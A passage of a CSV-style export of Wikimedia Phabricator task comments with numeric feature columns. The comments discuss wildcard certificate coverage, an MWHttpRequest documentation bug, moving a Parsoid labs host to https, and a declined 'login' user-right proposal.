unified.",,,1356116193,,PHID-USER-fo56wm4wxiwpoofn2xdu,True,,,PHID-TASK-3gfni2knqeggryedidtp,task_subcomment,,True,c2,1,True,,,-36,True,2.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,14.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,5.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,9.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,12.0,14.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,2.0,3.9827586206896552,0.7758620689655172,"we would prefer renaming of sub.sub.domains. It is not possible to get a *.*.wikimedia.org cert as far as we know. So we would have to get extra certificates or add them as additional SANs. Please also hear RobH on this, since he orders certs and had some plans to get them unified."
199766,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,for *.planet.wikimedia.org -> RT 3481,,,1348612446,,PHID-USER-fo56wm4wxiwpoofn2xdu,True,,,PHID-TASK-3gfni2knqeggryedidtp,task_subcomment,,True,c2,1,True,,,-49,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,57.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,1.0,for *.planet.wikimedia.org -> RT 3481
199760,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,"**Ruslik00** wrote:

*.planet.wikimedia.org is also problematic.",,,1344367976,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-3gfni2knqeggryedidtp,task_subcomment,,True,c2,1,False,,,-56,True,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,0.7142857142857143,"**Ruslik00** wrote:

*.planet.wikimedia.org is also problematic."
199753,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,"It doesn't include *.m.wikimedia.org either, so both entries can be added when requesting a new certificate.",,,1343412562,,PHID-USER-izojihzr4ja3jsgzn5wv,True,,,PHID-TASK-3gfni2knqeggryedidtp,task_subcomment,,True,c2,1,False,,,-57,True,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,4.65,1.0,"It doesn't include *.m.wikimedia.org either, so both entries can be added when requesting a new certificate."
39713,MWHttpRequest::execute doesn't return a value,"According to documentation execute() should return a value, which it does not.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1340116560,1534976308.0,PHID-USER-vlni4mhyozor7ghqnfkl,False,PHID-USER-y7auzjvgmrrms6atggom,False,PHID-TASK-vc3crewu6hac463o42lb,task_description,resolved,True,c2,1,False,False,False,-63,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.088235294117647,0.7352941176470589,"According to documentation execute() should return a value, which it does not.

--------------------------
**Version**: unspecified
**Severity**: normal"
1127527,MWHttpRequest::execute doesn't return a value,Closing this task. Revive if needed.,,,1534976308,,PHID-USER-y7auzjvgmrrms6atggom,False,,,PHID-TASK-vc3crewu6hac463o42lb,task_subcomment,,True,c2,3,True,,,260,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.875,0.875,Closing this task. Revive if needed.
842302,MWHttpRequest::execute doesn't return a value,This is pretty old-ish…,,,1492114077,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-vc3crewu6hac463o42lb,task_subcomment,,True,c2,3,False,,,189,True,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.857142857142857,1.0,This is pretty old-ish…
746026,MWHttpRequest::execute doesn't return a value,Removing #easy as per comments in Gerrit.,,,1476799091,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vc3crewu6hac463o42lb,task_subcomment,,True,c2,3,True,,,163,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,33.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.888888888888889,1.0,Removing #easy as per comments in Gerrit.
174703,MWHttpRequest::execute doesn't return a value,"Change 47712 abandoned by Siebrand:
(bug 37713) Fix documentation for `MWHttpRequest::execute`

Reason:
Abandoning this change. Feel free to revive if there is reason to.

https://gerrit.wikimedia.org/r/47712",,,1381331785,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vc3crewu6hac463o42lb,task_subcomment,,True,c2,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,23.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,14.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.057142857142857,0.8571428571428571,"Change 47712 abandoned by Siebrand:
(bug 37713) Fix documentation for CODE

Reason:
Abandoning this change. Feel free to revive if there is reason to.

GERRIT_URL"
174699,MWHttpRequest::execute doesn't return a value,Patch in Gerrit needs rework...,,,1374662855,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vc3crewu6hac463o42lb,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Patch in Gerrit needs rework...
174693,MWHttpRequest::execute doesn't return a value,"I think execute() should be made abstract and its code moved to some other method 'setup'?

or at least make it protected?",,,1361511064,,PHID-USER-w6tinhtsh44tn3tgzjtw,False,,,PHID-TASK-vc3crewu6hac463o42lb,task_subcomment,,True,c2,1,False,,,-27,True,3.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,7.0,0.0,7.0,7.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.5172413793103448,0.9310344827586207,"I think execute() should be made abstract and its code moved to some other method 'setup'?

or at least make it protected?"
174687,MWHttpRequest::execute doesn't return a value,seems like this has been worked upon https://gerrit.wikimedia.org/r/#/c/47712/,,,1360162794,,PHID-USER-w6tinhtsh44tn3tgzjtw,False,,,PHID-TASK-vc3crewu6hac463o42lb,task_subcomment,,True,c2,1,False,,,-29,True,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,1.0,seems like this has been worked upon URL
174680,MWHttpRequest::execute doesn't return a value,We should change the documentation to remove the @return then. No need to make it return anything.,,,1340753567,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-vc3crewu6hac463o42lb,task_subcomment,,True,c2,1,True,,,-62,True,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,11.0,6.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.777777777777778,0.8888888888888888,We should change the documentation to remove theSCREEN_NAME then. No need to make it return anything.
174672,MWHttpRequest::execute doesn't return a value,"(In reply to comment #0)
> According to documentation execute() should return a value, which it does not.

Technically, the function in that class isn't documented ;)",,,1340121979,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-vc3crewu6hac463o42lb,task_subcomment,,True,c2,1,True,,,-63,True,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,0.0,9.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.590909090909091,1.0,"(In reply to comment #0)
QUOTE

Technically, the function in that class isn't documented ;)"
49507,Move parsoid.wmflabs.org to https,"The Visual Editor is writting problems to that url, but does not use https, so that is a unsafe operation, which should be avoid, because it is a secure hole.

This should be a blocker for the coming roll out. Thanks.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Lowest,10.0,1366641360,1382398802.0,PHID-USER-a6jwrurphpx6yl4coupk,False,,False,PHID-TASK-3vubdaw5ty26hsrjdlgf,task_description,resolved,True,c2,1,False,False,True,-19,True,0.0,0.0,0.0,0.0,1.0,3.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,10.0,3.0,1.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,7.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,3.0,0.0,0.0,0.0,3.739130434782609,0.6811594202898551,"The Visual Editor is writting problems to that url, but does not use https, so that is a unsafe operation, which should be avoid, because it is a secure hole.

This should be a blocker for the coming roll out. Thanks.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
217529,Move parsoid.wmflabs.org to https,Yuvi set up https proxying: https://parsoid.wmflabs.org/,,,1382398802,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-3vubdaw5ty26hsrjdlgf,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,Yuvi set up https proxying: URL
217523,Move parsoid.wmflabs.org to https,"Note that the server will no longer be receiving these feedback items, so the original demand has less need.",,,1370629828,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3vubdaw5ty26hsrjdlgf,task_subcomment,,True,c2,1,True,,,-12,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,24.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,10.0,0.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,4.285714285714286,0.9523809523809523,"Note that the server will no longer be receiving these feedback items, so the original demand has less need."
217522,Move parsoid.wmflabs.org to https,"No data goes over the wire that is personally-identifying, so I would disagree that this is a blocker; however, yes, this is good practice and we should try to do thing (especially, to avoid unexpected mix-mode for users).",,,1366667468,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3vubdaw5ty26hsrjdlgf,task_subcomment,,True,c2,1,True,,,-19,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,6.0,12.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,16.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,6.0,4.0,4.0,2.0,10.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.7,0.82,"No data goes over the wire that is personally-identifying, so I would disagree that this is a blocker; however, yes, this is good practice and we should try to do thing (especially, to avoid unexpected mix-mode for users)."
48057,Add new rights: login,"add new default user right: login

user only can login to account who have 'login' right.

--------------------------
**Version**: 1.21.x
**Severity**: enhancement",Lowest,10.0,1363157220,1455635778.0,PHID-USER-ecpjgmrbfxvcanttpazu,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_description,declined,True,c2,1,False,False,False,-24,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.769230769230769,0.5897435897435898,"add new default user right: login

user only can login to account who have 'login' right.

--------------------------
**Version**: 1.21.x
**Severity**: enhancement"
897594,Add new rights: login,"Change 193658 abandoned by Legoktm:
Add 'login' user right

Reason:
Per task

[[https://gerrit.wikimedia.org/r/193658]]",,,1500497983,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_subcomment,,True,c2,3,False,,,203,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.36,0.76,"Change 193658 abandoned by Legoktm:
Add 'login' user right

Reason:
Per task

[[GERRIT_URL]]"
611204,Add new rights: login,"No reply to last three comments, hence declining.",,,1455635778,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_subcomment,,True,c2,3,True,,,128,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.2,1.0,"No reply to last three comments, hence declining."
585302,Add new rights: login,"No further comments hence proposing to decline.

As written in Gerrit, ""When you have answered here, I think it would be useful to notify mediawiki-l to get more use cases.""",,,1451479763,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_subcomment,,True,c2,3,True,,,122,True,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,13.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,3.0,3.0,5.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,13.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,8.0,13.0,8.0,0.0,5.0,0.0,8.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,3.717948717948718,0.8717948717948718,"No further comments hence proposing to decline.

As written in Gerrit, ""When you have answered here, I think it would be useful to notify mediawiki-l to get more use cases."""
569665,Add new rights: login,"And on top of those things, we have `$wgBlockDisablesLogin`.

I'm tempted to mark this declined.",,,1448794805,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_subcomment,,True,c2,3,False,,,117,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,0.95,"And on top of those things, we have CODE.

I'm tempted to mark this declined."
476768,Add new rights: login,"I find this a bit weird as well. Why let someone create an account if they're not supposed to login? It's easier to just create an account for approved people. There are multiple ways to do so:
* https://www.mediawiki.org/wiki/Extension:ConfirmAccount;
* https://www.mediawiki.org/wiki/Extension:InviteSignup;
* user ""sandbox"" in the Translate extension which creates a ""partial"" account only but allows login.
The last one  is not what you seek, still could give some checklist for your method; could you comment on why the first two points don't satisfy your use case?",,,1434574342,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_subcomment,,True,c2,3,True,,,94,True,1.0,0.5,0.0,0.0,2.5,5.0,0.0,0.0,0.0,0.5,1.5,1.5,0.0,1.0,0.5,0.5,0.0,7.5,5.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.5,1.0,0.5,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.5,0.0,0.0,1.0,0.0,5.5,1.5,5.0,2.0,1.0,7.5,0.0,0.0,0.0,0.0,5.5,0.0,1.0,0.0,5.5,5.5,2.0,1.5,3.5,0.0,5.5,0.0,3.5,2.5,0.0,0.0,0.5,0.0,0.0,3.5910202655485675,0.8415443745632425,"I find this a bit weird as well. Why let someone create an account if they're not supposed to login? It's easier to just create an account for approved people. There are multiple ways to do so:
* URL
* URL
* user ""sandbox"" in the Translate extension which creates a ""partial"" account only but allows login.
The last one  is not what you seek, still could give some checklist for your method; could you comment on why the first two points don't satisfy your use case?"
418776,Add new rights: login,"Since I don't think JuneHyeon Bae's working on this, I've made the patch. I hope JuneHyeon don't mind.",,,1425177934,,PHID-USER-scigxlexgozrr4ej5mm5,False,,,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_subcomment,,True,c2,3,False,,,78,True,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,28.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,8.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.4,0.76,"Since I don't think JuneHyeon Bae's working on this, I've made the patch. I hope JuneHyeon don't mind."
418775,Add new rights: login,"Change 193658 had a related patch set uploaded (by Zhaofeng Li):
Add 'login' user right

[[https://gerrit.wikimedia.org/r/193658]]
